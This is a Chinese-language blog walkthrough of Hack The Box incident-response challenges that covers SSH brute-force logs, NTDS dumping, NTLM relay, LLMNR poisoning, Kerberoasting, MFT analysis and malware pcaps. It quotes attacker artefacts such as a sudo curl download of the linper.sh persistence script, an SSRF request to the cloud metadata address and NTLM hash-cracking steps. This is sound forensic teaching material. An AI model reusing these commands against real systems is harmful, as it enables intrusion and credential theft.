瞎写的,不如看官方解析
Sherlocks
这一部分基本上都是应急响应的题目,包含了日志分析、流量分析、恶意样本分析等多种题型
Brutus
难度:Very Easy
这关给了两个文件:auth.log
和wtmp
,先解释一下这两个日志是干啥的:
/var/log/auth.log
,或/var/log/secure
:记录的是身份认证的信息和认证的操作,无论成功与否. 在Debian/Ubuntu内,该日志的路径为前者;后者则是Redhat/CentOS下的路径/var/log/wtmp
:记录每一次的登录和登出
题目描述提到这个日志记录了攻击者使用ssh进行了密码爆破,登录进去后又执行了一系列操作
Task 1
1 | Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack? |
分析auth.log
获取攻击者IP地址,这个非常好找,由于是密码爆破,我们找到登录失败的信息就行了,然后就可以找到类似这样的信息:
1 | Mar 6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2 |
发现65.2.161.68
登录失败,然后下面又有大量同IP的失败记录,那肯定就是这个IP了
Task 2
1 | The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account? |
这个也很简单,我们接着往下看日志,发现后面有个Accepted password for root from ...
,说明这个时候密码爆破成功了,用户名就是root
Task 3
1 | Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives? |
这个时候我们就需要查看wtmp
了,因为第一次成功的时候是爆破的时候,session在建立的同一秒就被关闭了,因此实际的人工登录还是需要看wtmp
,使用Linux的时候可以用last
命令查看日志,不过得带sudo
,但是Kali好像并不支持,所以我找了另一个方法:用Python库utmp
对其进行解析,参考的文献在这里:Parsing and Reading the wtmp File | by Jesse Shelley | Medium
解析出来后我们就能很清晰地看到攻击者登录root
的时候是2024-03-06 06:32:45.387923
,后面的小数点舍去就是答案,需要注意的一点是如果直接使用上面文章里的脚本,它的时间会和你电脑使用的时区有关,比如我们在UTC+8,得到的时间会是下午2点而不是早上6点,这点需要注意一下
Task 4
1 | SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2? |
我们需要找到攻击者登陆成功时的session id,那我们在auth.log
里面找到登录成功后开启的session号就好了,能很容易知道答案是37
Task 5
1 | The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account? |
攻击者创建了一个新的用户用于权限维持,那我们接着往下看,发现不远处就有一个用户创建记录,名字是cyberjunkie
,shell权限给到了/bin/sh
,然后又将这个用户拉入了sudo
组中,那么肯定是这个用户了
Task 6
1 | What is the MITRE ATT&CK sub-technique ID used for persistence? |
这个时候我们就需要看它提到的MITRE ATT&CK Matrix
了:Matrix - Enterprise | MITRE ATT&CK®,接下来我们在里面对比一下,发现在Persistence
栏中存在一个叫Account Manipulation
,即账户操控的方法很符合攻击者的手法,然后我们点进去看分支,由于创建的是本地用户,那么自然是选择001分支,即答案为T1098.001
Task 7
1 | How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds) |
登录成功的时间戳在上面已经有了,接下来我们只需要找到关闭并移除session的记录的时间戳就好了,在下面找到session 37关闭并移除的记录,时间戳为2024-03-06 06:37:24
,相差279秒
Task 8
1 | The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo? |
在网络下载脚本,那么肯定会用到curl
,日志找一下用sudo
跑的指令然后看看下载的URL里面结尾是.sh
的就没问题了,答案是/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Crown Jewel 1
难度:Very Easy
这关给的文件比较多,其中有三个.evtx
文件,它们是Windows的事件日志文件,同时还给了一个$MFT
文件,也就是所谓的Master File Table
系统文件,它记录了一个NTFS卷上所有文件和目录的基础信息,它能够让系统更快找到指定的文件. 当一个文件被删除的时候,虽然MFT表会标记它之前存储信息的位置为未使用,不过实际的数据并没有被删除,在被覆盖掉之前都可以进行恢复
Task 1
1 | Attackers can abuse the vssadmin utility to create volume shadow snapshots and then extract sensitive files like NTDS.dit to bypass security mechanisms. Identify the time when the Volume Shadow Copy service entered a running state. |
对于查看系统服务进入运行状态,我们需要看的是SYSTEM
日志,**创建服务对应的事件ID为7036
**,所以我们可以在过滤指定事件ID后查找shadow
关键字即可找到对应的时间:2024-05-14 03:42:16
Task 2
1 | When a volume shadow snapshot is created, the Volume shadow copy service validates the privileges using the Machine account and enumerates User groups. Find the two user groups the volume shadow copy process queries and the machine account that did it. |
枚举用户组相关的事件会在SECURITY
日志中记录,**同理我们可以过滤事件ID4799
**以查找安全组管理相关的事件,然后找到进程为vssvc.exe
的事件即可,我们最后找到的两个用户组和机器账户的信息为:Administrators, Backup Operators, DC01$
Task 3
1 | Identify the Process ID (in Decimal) of the volume shadow copy service process. |
在和Task 2同样的事件下,我们也可以发现vsc的进程ID,结果是0x1190,转为十进制就是4496
Task 4
1 | Find the assigned Volume ID/GUID value to the Shadow copy snapshot when it was mounted. |
挂载卷相关的事件会记录在Microsoft-Windows-NTFS
日志里面,然后**有关卷挂载和卸载的事件ID为4,9,10,300,303
**,过滤一下然后找shadow
关键字就行了,答案就是对应的VolumeCorrelationId
Task 5
1 | Identify the full path of the dumped NTDS database on disk. |
这就需要我们解析前面提到的MFT表了,我目前使用的是Github上的Mft2Csv,解析完后查看导出的csv,然后搜索ntds.dit
,看一下哪个的目录是异常的(毕竟是系统文件,你在一些奇奇怪怪的地方就…),最后找到位置在C:\Users\Administrator\Documents\backup_sync_Dc\Ntds.dit
Task 6
1 | When was newly dumped ntds.dit created on disk? |
看和Task 5答案的同一行记录就行
Task 7
1 | A registry hive was also dumped alongside the NTDS database. Which registry hive was dumped and what is its file size in bytes? |
怎么把注册表单元也一起导出来了…总之就是我们知道异常的目录了,搜指定目录,查看是否存在注册表单元文件,最后找到有个SYSTEM
,大小的话在那个记录翻一下就能找到了
Crown Jewel 2
难度:Very Easy
和1类似,这里也给的是事件日志,也是dump出NTDS数据库,差别就是这次使用的是ntdsutil
进行导出,同时环境提升到了域环境
Task 1
1 | When utilizing ntdsutil.exe to dump NTDS on disk, it simultaneously employs the Microsoft Shadow Copy Service. What is the most recent timestamp at which this service entered the running state, signifying the possible initiation of the NTDS dumping process? |
还是找传统的7036事件,然后搜索Shadow
,一下子就能看到记录时间了,当然还是记得提交的答案是UTC+0,得先减去8小时
Task 2
1 | Identify the full path of the dumped NTDS file. |
Dump出来了NTDS文件,因为NTDS文件实际上是一个数据库,你dump出来其实就是新建了一个数据库文件,所以我们需要找的事件ID是325,也就是数据库引擎创建新数据库的时候对应的事件ID
搜完后直接能在常规信息看到新建的数据库文件的位置,也就是这一题的答案
Task 3
1 | When was the database dump created on the disk? |
第2问那个记录的时间自然就是创建时间,over
Task 4
1 | When was the newly dumped database considered complete and ready for use? |
创建的新数据库需要数据库引擎和数据库分离之后才可以正常使用,因此我们需要找到引擎和数据库分离的事件,也就是事件ID327,这里我们过滤会找到2个记录,时间一致,毕竟是dump,所以最后的分离会分别分离源文件和目标文件,这很合理
把时间扔上去就是答案
Task 5
1 | Event logs use event sources to track events coming from different sources. Which event source provides database status data like creation and detachment? |
这一题就是要找到事件325和327事件的Provider,其实很好找,要么在详细信息里面展开System
里面找,要么直接看这里:
所以答案显而易见是ESENT
,也就是我们前面提到的数据库引擎
Task 6
1 | When ntdsutil.exe is used to dump the database, it enumerates certain user groups to validate the privileges of the account being used. Which two groups are enumerated by the ntdsutil.exe process? Give the groups in alphabetical order joined by comma space. |
典中典之用户枚举,还是老规矩4799开搜,查看组名还是只有Administrator
和Backup Operators
两个组,非常难绷
同时看看这里的Logon ID,下一题找到恶意登录session会用到
Task 7
1 | Now you are tasked to find the Login Time for the malicious Session. Using the Logon ID, find the Time when the user logon session started. |
登录首先要发放Kerboros凭证,然后会读取该凭证以开始登录session,相关的事件ID为4768,4769和5379,筛一下,看到在4768和4769后面马上接着5379,确认5379的Logon ID没问题,好的,就是这个时间
Reaper
难度:Very Easy
一个有关NTLM中继攻击的应急响应题目,一部分是老熟人流量分析,另一部分是新熟人Security的evtx
Task 1
1 | What is the IP Address for Forela-Wkstn001? |
有手就行:DNS记录一眼丁真
Task 2
1 | What is the IP Address for Forela-Wkstn002? |
也没多难,去NBNS记录里面找就行
Task 3
1 | What is the username of the account whose hash was stolen by attacker? |
这种带流量的一般都是NTLM验证,过滤器过滤ntlmssp
就能看到用户名了
Task 4
1 | What is the IP Address of Unknown Device used by the attacker to intercept credentials? |
可以看evtx里面的登录session的IP地址,也可以直接在NBNS里面找没有主机名的IP
Task 5
1 | What was the fileshare navigated by the victim user account? |
在分组详情里面搜STATUS_BAD_NETWORK_NAME
,对应的文件共享就是这一题的答案
Task 6
1 | What is the source port used to logon to target workstation using the compromised account? |
好的,从这里开始就要看evtx了,由于攻击者已经通过NTLM验证并成功登录了,所以我们过滤一下事件ID 4624,应该马上就能看到了
Task 7
1 | What is the Logon ID for the malicious session? |
和Task 6的同一个事件的详细信息下查看TargetLogonId
的值即可
Task 8
1 | The detection was based on the mismatch of hostname and the assigned IP Address.What is the workstation name and the source IP Address from which the malicious logon occur? |
还是同一个事件,你能看到工作站名称和IP,但是和前面的题目对比一下你会发现确实和题目描述说的一样:它们实际上并不匹配,工作站实际的IP和事件中看到的并不一致
Task 9
1 | At what UTC time did the the malicious logon happen? |
还还还是同一个事件(我嘞个一招鲜吃遍天),看时间就行了
Task 10
1 | What is the share Name accessed as part of the authentication process by the malicious tool used by the attacker? |
由于这一个和文件共享有关,所以搜索事件ID 5140,查看一下共享信息下的共享名是什么,就是这一题的答案
Noxious
难度:Very Easy
这道题目就是一个纯粹的流量分析,内容和LLMNR投毒攻击有关。对于LLMNR投毒这一点,实际上和DNS投毒相似度很大,毕竟LLMNR实际上是一个不需要DNS服务器就可以解析同一个本地网络中域名的解析的协议,一般用于IPv6中
当然,如果DNS请求失败的时候,主机也会广播一个LLMNR请求,而且LLMNR是没有认证这一说的,也就是任何人都可以回复,那么这种投毒攻击的存在也是再正常不过了
Task 1
1 | Its suspected by the security team that there was a rogue device in Forela's internal network running responder tool to perform an LLMNR Poisoning attack. Please find the malicious IP Address of the machine. |
考虑到是LLMNR投毒,那么我们可以想到我们的恶意主机应该会伪装成域控向被害者主机发送响应,那么首先找到域控IP,再看看LLMNR中向被害者主机发送响应的IP
Task 2
1 | What is the hostname of the rogue machine? |
这一问我们查看DHCP下给恶意主机动态分配的域名就行
Task 3
1 | Now we need to confirm whether the attacker captured the user's hash and it is crackable!! What is the username whose hash was captured? |
不是哥们,怎么你和上一题的Task 3问的完全一致啊…过滤ntlmssp
看用户名就行了
Task 4
1 | In NTLM traffic we can see that the victim credentials were relayed multiple times to the attacker's machine. When were the hashes captured the First time? |
过滤ntlmssp
看第一个Session Setup Request的时间,这个需要去看左下分组详情里面最上面的Frame
那一部分,包含了分组流量的基础信息
Task 5
1 | What was the typo made by the victim when navigating to the file share that caused his credentials to be leaked? |
在LLMNR协议流量里面我们能看到受害者请求的是DCC01
,而攻击者有响应DC01
的请求,说明受害者肯定是把DC01
打错成DCC01
导致DNS解析错误才会出现LLMNR的请求,这里的typo
也正是拼写错误的意思
Task 6
1 | To get the actual credentials of the victim user we need to stitch together multiple values from the ntlm negotiation packets. What is the NTLM server challenge value? |
开始了我们最经典的NTLMv2哈希爆破,我在我的流量分析文章里面有写,这里也是一样看NTLMSSP_CHALLENGE
的那一部分往下翻去找Server Challenge,提交第一个Server Challenge就行
Task 7
1 | Now doing something similar find the NTProofStr value. |
和Task 6同理,查看NTLMSSP_AUTH
响应里面的NTProofStr值
Task 8
1 | To test the password complexity, try recovering the password from the information found from packet capture. This is a crucial step as this way we can find whether the attacker was able to crack this and how quickly. |
好的,开始爆破
Task 9
1 | Just to get more context surrounding the incident, what is the actual file share that the victim was trying to navigate to? |
过滤smb2
查看和非默认文件共享建立了连接的那个文件共享,提交上去就OK了
Campfire-1
难度:Very Easy
这一次的应急响应和Keberoasting攻击有关,同时给了3个附件:一个域控的安全日志,一个PowerShell的操作日志和被感染的工作站的预取文件
首先简单介绍一下Keberoasting攻击是什么:这个攻击是利用SPN(Service Principle Names,服务主体名称)获取经过RC4加密的Kerberos-TGS票据后爆破其包含的服务账户的密码的攻击,至于攻击步骤其实正如上面提到的一样,就是发现SPN、提取TGS、转储NTLM哈希然后爆破
一般使用的工具有RiskySPN,Mimikatz,Rubeus,Invoke-kerberoast.ps1(Powershell Empire),Metasploit,Impacket,Pypykatz这几个
详细的介绍可以看这篇文章:深入理解 Kerberoasting 攻击 - 先知社区
Task 1
1 | Analyzing Domain Controller Security Logs, can you confirm the date & time when the kerberoasting activity occurred? |
老样子,还是去看事件ID 4769,只不过需要注意一下:
- Kerberoasting获取的票证的加密类型是RC4,所以对应记录的Encryption Type应该是0x17
- 服务名称不是krbtgt且不以
$
结尾 - 错误码应该是0x0(毕竟得通过)
上述三点是Kerberoasting攻击的特征,找到符合三个特征的事件就对了
Task 2
1 | What is the Service Name that was targeted? |
Task 1找到了事件,那么看事件里面对应的服务名称就行了
Task 3
1 | It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation? |
看Client IP,结束
Task 4
1 | Now that we have identified the workstation, a triage including PowerShell logs and Prefetch files are provided to you for some deeper insights so we can understand how this activity occurred on the endpoint. What is the name of the file used to Enumerate Active directory objects and possibly find Kerberoastable accounts in the network? |
让我们看工作站的操作日志,这里需要过滤的是事件ID 4104,查看执行了远程命令的事件,翻到最下面查看路径就知道是哪个文件了
Task 5
1 | When was this script executed? |
看时间,over
Task 6
1 | What is the full path of the tool used to perform the actual kerberoasting attack? |
这一个从操作日志是看不到东西的,得看预取文件,因为对于每一个首次执行的程序,Windows都会生成一个预取文件作为缓存以加速之后运行程序时的加载速度
这里推荐使用Eric Zimmerman’s tools进行查看,需要的工具是PECmd
,当然如果还能从Zimmerman那里下下来Timeline Explorer
的话就更好了(因为Excel看csv真的让我很头大…),这里给一下命令:
1 | ./PECmd -d "target/directory/with/pf_files" --csv "directory/to/save/csv" --csvf "result.csv" |
最后查看result.csv
就行了,当然会有很多可执行文件,但是有一个是我们上面才提到的攻击程序:Rubeus.exe
,找到它之后查看最后面的Files loaded
列,里面就有它的路径
Task 7
1 | When was the tool executed to dump credentials? |
看Last Run
,没什么好说的了
Campfire-2
难度:Very Easy
这一题和1一样也是和Kerberos票证有关,攻击方法变为了AS-REP Roasting,它和Kerberoasting类似,都是获取票证然后爆破出用户密码,但是AS-REP Roasting更多情况是在预验证取消启用的时候出现,因为此时域控收到一个AS-REQ (Authentication Server Request)的时候会将一些敏感信息使用用户密钥加密后放在AS-REP中发送回来
其实如果有认真做过1的话,2的难度就是秒杀,因为大部分特征都基本相同
Task 1
1 | When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user? |
票证请求:4768,启动!然后加密类型还是RC4,还是0x17,看时间就结束了
Task 2
1 | Please confirm the User Account that was targeted by the attacker. |
Task 1找完后看名字,结束
Task 3
1 | What was the SID of the account? |
看SID就秒了
Task 4
1 | It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team. |
看IP,秒了
Task 5
1 | We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s? |
查找攻击者用户的话就需要想一下了,有可能攻击者是想进行提权然后进行之后的操作,而且肯定会使用到上面的IP,因此搜一下,就能发现域里面有一个奇怪的帐户也想域控请求了TGT,巧了吗这不就,就是你了
BFT
难度:Very Easy
最后一道紫色(Very Easy)题,一个非常单纯的MFT分析,前面有提到Mft2Csv
对MFT进行分析,其实Zimmerman Tools也有个MFTECmd
,效果类似,总之我还是使用的前者(但是后面改成用MFTECmd
了)
哎哟怎么光是整成csv就用了整整10分钟啊…而且坏事了,忘了Mft2Csv
是用|
分隔的,晕倒了
Task 1
1 | Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link? |
先把MFT表导出成csv进行分析,然后使用Timeline Explorer
查看csv文件,接下来就筛选时间和.zip
关键字,最后是可以锁定到有三个压缩包的,其中有一个压缩包是可以根据另外两个压缩包的路径确认它是最先下载的
Task 2
1 | Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded? |
已知文件名,接下来过滤文件名,查看Zone Identifier
,最后那里就会有ReferrerUrl
,也就是下载的链接
实际上通过外部网络下载的文件,在Windows NTFS上下文里面都会生成一个ADS流,里面包含了该文件的下载源URL
Task 3
1 | What is the full path and name of the malicious file that executed malicious code and connected to a C2 server? |
现在看在压缩包下载后附近时间的其它可以进程,同时可以尝试搜索压缩包名以进行进一步的过滤,最后我们可以发现有一个可疑的批处理文件,也就是.bat
文件
Task 4
1 | Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk? |
好的,直接看对应的文件创建时间戳就OK了
Task 5
1 | Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3. |
这一步就需要一点点数学了:每一个MFT记录的大小都是1024字节,因此找到对应文件的Hex偏移需要将对应的Entry Number
乘上一个1024,最后得到的16进制值就是答案
Task 6
1 | Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port. |
这一题提供了一个重要信息:不超过1024字节的文件会在MFT文件中保存,而且好巧不巧我们的.bat
的大小也就286字节,所以我们接下来就去找它
还记得Task 5求出来的Hex偏移吗?用010打开MFT文件,然后跳转到对应的偏移位,你就能看到完整的bat文件了:
然后把IP和端口一交,结束了
Compromised
难度:Easy
讲个笑话:HTB靶场有个内网渗透的靶机也叫这个名字
一个非常纯粹的流量分析,外加非常少量的恶意样本分析要素
Task 1
1 | What is the IP address used for initial access? |
首先前面的TCP完全不用看,因为这个时候攻击者还没有日进去,然后看到下面的HTTP里面传了一个伪装成GIF的可执行文件,那么估计这个就是恶意样本了
整体看一下,191那个估计是被感染主机的IP,贯穿整个流程,而54那个估计就是攻击者在外网的某个C2服务器了,这一题需要提交的是后者
Task 2
1 | What is the SHA256 hash of the malware? |
导出HTTP流里面那个“GIF”,然后拉到VirusTotal上面直接看SHA256就行
Task 3
1 | What is the Family label of the malware? |
看VirusTotal的Associations
,一眼看到是Pikabot
家族的恶意样本
Task 4
1 | When was the malware first seen in the wild (UTC)? |
VirusTotal的Details
有
Task 5
1 | The malware used HTTPS traffic with a self-signed certificate. What are the ports, from smallest to largest? |
我个人觉得最逆天的一问,因为它这描述完全不知道是谁的端口,我猜了一个小时才猜出来,当然也有可能是我水平不足
这题实际上是这样的:它的C2 IP是动态的,通过DNS隧道确认接下来访问的C2 IP是什么,然后被感染主机使用的端口不重复,但是访问的C2的端口是固定的3个,所以问的是C2的端口
然后别看到HTTPS traffic
就忙着tcp.port == 443
,这里实际上就是去看TLSv1.2的流量,所以找TLS里面那固定访问的三个端口就行
Task 6
1 | What is the id-at-localityName of the self-signed certificate associated with the first malicious IP? |
这个流量实际上使用了多个自签名证书进行TLS密钥交换,但是第一个恶意IP应该很快就能找到:在传输完“GIF”后马上进行了TLS密钥交换的那个IP就是了,然后找到被感染主机发送的证书,id-at-localityName
应该也是很快就能找到
Task 7
1 | What is the notBefore time(UTC) for this self-signed certificate? |
看证书,over
Task 8
1 | What was the domain used for tunneling? |
还用教吗?直接过滤DNS看到一堆通过TXT记录进行DNS隧道的流量,把域名一交结束了
Takedown
难度:Easy
相比于上一题,这一题更适合入门,难度也低上不少(虽然两个都是Easy也难不到哪去就是了)
也是单纯的流量分析+轻量级的恶意样本分析,不过这个就显得更为直接一点了
Task 1
1 | From what domain is the VBS script downloaded? |
这里看SMB流量:在攻击者通过NTLM验证登录后就有一个Ioctl Request
下载文件,我们可以看到是从某个云盘下载下来的
Task 2
1 | What was the IP address associated with the domain in question #1 used for this attack? |
下载源的IP地址就是这题的答案,非常显而易见
Task 3
1 | What is the filename of the VBS script used for initial access? |
不远处的SMB流量直接告诉了你VBS程序的名字了
Task 4
1 | What was the URL used to get a PowerShell script? |
往下翻到HTTP的流量,看到GET /nrwncpwo
,它的响应正是一个PowerShell脚本,加上Host就是答案了,不过不需要添加http://
协议头
Task 5
1 | What likely legit binary was downloaded to the victim machine? |
看PS脚本,我们能看到它获取了一个AutoHotkey.exe
的文件,看起来很正常啊,嗯,就是这题的答案
Task 6
1 | From what URL was the malware used with the binary from question #5 downloaded? |
注意题目描述:the malware used with the binary
,题目描述看起来就很像那种DLL Sideloading
还是看PS脚本,后面start
运行exe的时候加了一个参数-a
,也就是我们的恶意文件,稍微逆推一下就能很容易知道它是从哪个URL下载下来的了
Task 7
1 | What filename was the malware from question #6 given on disk? |
送分题,直接看就结束了
Task 8
1 | What is the TLSH of the malware? |
这一题需要我们在Wireshark把恶意文件导出,后面有GET下载的流量,所以看准URL把文件拉下来就行了,最后把恶意样本扔进VirusTotal看TLSH就行了
Task 9
1 | What is the name given to this malware? Use the name used by McAfee, Ikarus, and alejandro.sanchez. |
同理,看VirusTotal怎么说的,最后应该能发现是DarkGate
家族的恶意样本
Task 10
1 | What is the user-agent string of the infected machine? |
看后面的流量,复制粘贴User-Agent就行了
Task 11
1 | To what IP does the RAT from the previous question connect? |
看通信的IP,结束
OpSalwarKameez24-1: Super-Star
难度:Easy
我嘞个恶意样本分析,这题也是非常新了,发布时间距离我完成这题的时间也就刚刚好一个月,这一题是一个Nodejs恶意样本,后面分析出来还是个Electron应用
题目还给了个pcap,可能还会结合一起使用分析
开附件的时候我被那个txt吓到了,虽然之前也分析过甚至自己搓过简单的恶意样本,当时纠结了十几分钟要不要解压www
Task 1
1 | What is the process name of malicious NodeJS application? |
查找进程名这个基本上需要运行,但是由于我确实没有Windows虚拟机所以扔到了在线沙箱里面,这里我用的是VirusTotal,在Behaviour
里面看一下有关进程的那一部分就应该知道进程名了(提交时千万别加路径)
Task 2
1 | Which option has the attacker enabled in the script to run the malicious Node.js application? |
这一个我们就需要对恶意样本进行分析了,实际上这种恶意样本是可以使用7zip进行解压的,我们可以在里面发现绝大部分的资源
解压之后我们在resources
文件夹下能看到一个app.asar
,说明这个njs程序是用asar打包的,所以先npm install -g asar
然后再asar extract app.asar app
,这样我们就能看到解包后完整的资源了
此时我们再进去看index.js
,会发现createWindow
函数里面将nodeIntegration
设置为了True,那么这题需要提交的自然是这个option了
Task 3
1 | What protocol and port number is the attacker using to transmit the victim's keystrokes? |
我们再翻一下样本资源,发现在public
下有个keylogger.js
很可疑,所以打开来看看,结果一开头就告诉你socket用的Websocket
协议,端口也告诉你了
Task 4
1 | What XOR key is the attacker using to decode the encoded shellcode? |
还记得index.js
吗?里面有一个option是预加载的js文件:preload.js
,它被放在extraResources
里面,打开来一看就发现有一个B64后的payload,然后有一个keyBuf和它异或了
至于那个keyBuf,稍微往上看一下逻辑就会发现它实际上是访问了80端口的data段,换句话说它是通过HTTP进行传输的,此时我们的pcap就有用了,直接在http里面找GET / HTTP/1.1
的响应,里面就会有我们的异或密钥
Task 5
1 | What is the IP address, port number and process name encoded in the attacker payload ? |
现在我们Payload有了,异或的key有了,直接解密就行了,IP端口还有进程名全部写死在里面了,秒杀
Task 6
1 | What are the two commands the attacker executed after gaining the reverse shell? |
那既然都说了反弹shell了,肯定是得去看流量包对吧?那就简单跟踪一下TCP流找一找呗,应该很快就能找到了,也是拿到shell后很经典的两条命令了
Task 7
1 | Which Node.js module and its associated function is the attacker using to execute the shellcode within V8 Virtual Machine contexts? |
回到preload.js
,我们能看到下面的逻辑:
这里就是让JS代码在一个V8虚拟机的上下文中执行,不过这段逻辑实际上可以让攻击者在被控制的上下文中执行任意代码
至于模组和函数上面都有,直接写名字就好了,别加括号什么的
Task 8
1 | Decompile the bytecode file included in the package and identify the Win32 API used to execute the shellcode. |
终于进入到最后一段路了:反编译jsc文件,那么我们知道它是V8字节码,所以搜了一下发现有个View8可以反编译,所以简单拉了下来,但是反编译的结果嘛…
只能说多少有点难顶…理论上吧也可以用Ghidra整个插件,但是我这边Eclipse Marketplace找不到Eclipse PDE了,只好作罢
总之大致还是可以猜出来我们的Win32 API就是图中第15行里面的其中一个,根据结尾字母得知答案是CreateThread
Task 9
1 | Submit the fake discount coupon that the attacker intended to present to the victim. |
这段得看shellcode,就是第10行那一长串内容,我直接From Decimal硬看了,特征还是非常明显的,有一个非常亮眼的COUPON1337
,难绷
所以有无佬是确确实实通过反编译shellcode出来的,带带我QAQ
Pikaptcha
难度:Easy
Pika-Pika!
一个十分庞大的流量包,第一次见到接近50W的流量包,不过好在问的不是很难;同时还提供了一系列的注册表单元用于分析
Task 1
1 | It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager. |
一上来就是非常直球的让你分析注册表,根据题意我们可以知道我们要分析的就是Happy Grunwald的NTUSER注册表单元内容,这里使用我们伟大的Zimmerman Tools里的Registry Viewer进行分析
当然,直接去翻未免有点麻烦,因此我们伟大的Zimmerman提供了书签功能!
接下来我们查看RunMRU
下的内容(执行Payload的时候可以查看Run
、RunOnce
和RunMRU
三个键的内容),结果和图片右侧的一样,我们一眼就看到了完整的执行指令
Task 2
1 | At what time in UTC did the malicious payload execute? |
看时间吧,没什么好说的了
Task 3
1 | The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script? |
根据上面找到的恶意Payload,我们知道了ps1文件是从哪个IP下载的了,因此我们开始分析流量包,过滤ip.addr == 43.205.115.44 && http
,此时我们能直接发现有一个GET获取ps1文件的请求,把响应拉出来直接SHA256一下就行了
Task 4
1 | To which port did the reverse shell connect? |
看到ps1后面那一串明显是Base64,尝试解码一下就能发现一个UTF-16 LE编码的恶意脚本,里面就包含了反弹shell的socket连接的端口
Task 5
1 | For how many seconds was the reverse shell connection established between C2 and the victim's workstation? |
已知恶意IP和端口号,求自连接开始到结束的总时长,首先自然是使用ip.addr == 43.205.115.44 && tcp.port == 6969
进行过滤,然后从一开头的握手SYN到最后的挥手FIN,时间减一下就出了
1000以内的加减法不会还有上完小学的人不会算吧,不会吧不会吧
Task 6
1 | Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim's clipboard? |
这一题是说攻击者伪造了一个Captcha,然后在这个页面加了恶意代码,那么毕竟是要访问,这个就还是和Task 3一样的过滤,查看GET /
路径的响应就行了,里面就是钓鱼页面的源码
由于这种可执行代码肯定是用的JavaScript,所以跟踪流然后搜script
去看可执行代码就行了,应该很快就能找到恶意的函数(当然如果你嫌麻烦直接搜.ps1
也能秒杀)
Heartbreaker-Denouement
难度:Easy
我去,只有18个评价,2.7分,已经有点害怕了,而且怎么7月上的题还没有Retired啊?
我干怎么有14问啊…我靠怎么那么多gz文件,不知道的还以为下了个42.zip下来嘞…
Apache日志分析+AWS CloudTrail日志分析,超多问,我的评价是为什么还在Easy还不上Writeup…真的不会啊哥
我根本找不到wp,最后是找到一个AK大佬自己搓的将AWS日志拉进Elastic和Kibana的脚本,稍微改成Windows能用的代码了,整个Docker就完事了,后面AWS分析我也是用的Elastic分析的
一篇非常不错的AWS日志分析指引:Quick and Dirty CloudTrail Threat Hunting Log Analysis | by George Fekkas | Medium
Task 1
1 | What type of scanning technique was used to discover the web path of the victim's web server? Specify the name of the corresponding MITRE sub-technique. |
一看扫描就知道肯定属于侦察Reconnaissance
那一列,估计是Active Scanning
下的子技术,理论上可以爆出答案了,不过先不急,看看UAC拉下来的主机日志
首先我们到[root]/var/log
下面,也是Linux大部分日志保存的路径,我们发现里面有两个目录:apache2
和amazon
,那么基本可以确认这题是Apache2作为服务器,Amazon AWS作为云服务了
这一题说扫描web路径,那么肯定会去看Apache的日志,也就是在apache2
下的access.log
和error.log
我们首先看access.log
:
这不一眼拿字典在爆吗?结束了,就是T1595.003——Wordlist Scanning
Task 2
1 | It seems a web request possibly could have been rerouted, potentially revealing the web server's web path to the Threat Actor. What specific HTML status code might have provided this information? |
重定向就2个响应码:一个301 Moved Permanently
,一个302 Moved Temporarily
,那就看看access.log
有哪个咯,最后发现是有301而没有302
Task 3
1 | In the initial payload submitted by the threat actor exploiting a weakness in the web server, what file on the server was targeted? |
这里如果看access.log
发现不了payload,所以得去看包含诊断信息的error.log
,往下翻到字典爆破结束后就能看到了
找到第一个文件,确认是想用file伪协议读取的file:///etc/passwd
Task 4
1 | What is the name of the vulnerability exploited by the Threat Actor to access the cloud metadata? |
这一题各位可以去这个Wiki了解一下:EC2 所面临的风险 | T Wiki,不过搜一下也应该能知道攻击方法是SSRF,也就是Server Side Request Forgery
,有关SSRF打EC2的文章还是挺多的
Task 5
1 | What time (UTC) did the Threat Actor first access the cloud metadata service of the web server instance? |
这题问的是第一次访问云元数据的时间,实际上是首次访问到服务IP地址的时间,而不是后面访问到http://ip/lastest/meta-data/security-credentials
之类的,虽然元数据确实放在那里
最后看第一个POST了服务IP的时间,确认是这里:
1 | [Wed Mar 13 14:06:21.695943 2024] [php7:notice] [pid 412] [client 35.169.66.138:52712] Request: POST /wb-loanapp-tracker.php Input: http://169.254.169.254, referer: http://3.144.237.152/wb-loanapp-tracker.php |
Task 6
1 | To gain insight into the database content, can you provide the name of at least one table? |
这题其实我也不是很会,我就是想到Apache的数据库应该用的是MySQL,所以找了一下相关的记录,最后是在[root]/home/ubuntu
里面找到了.mysql_history
,里面就有对一个CustomerInfo
的表进行处理的记录,就这样
Task 7
1 | Which AWS API call functions similarly to the 'whoami' command in Windows or Linux? |
属于AWS API基础知识,搜一下就能知道是GetCallerIdentity
Task 8
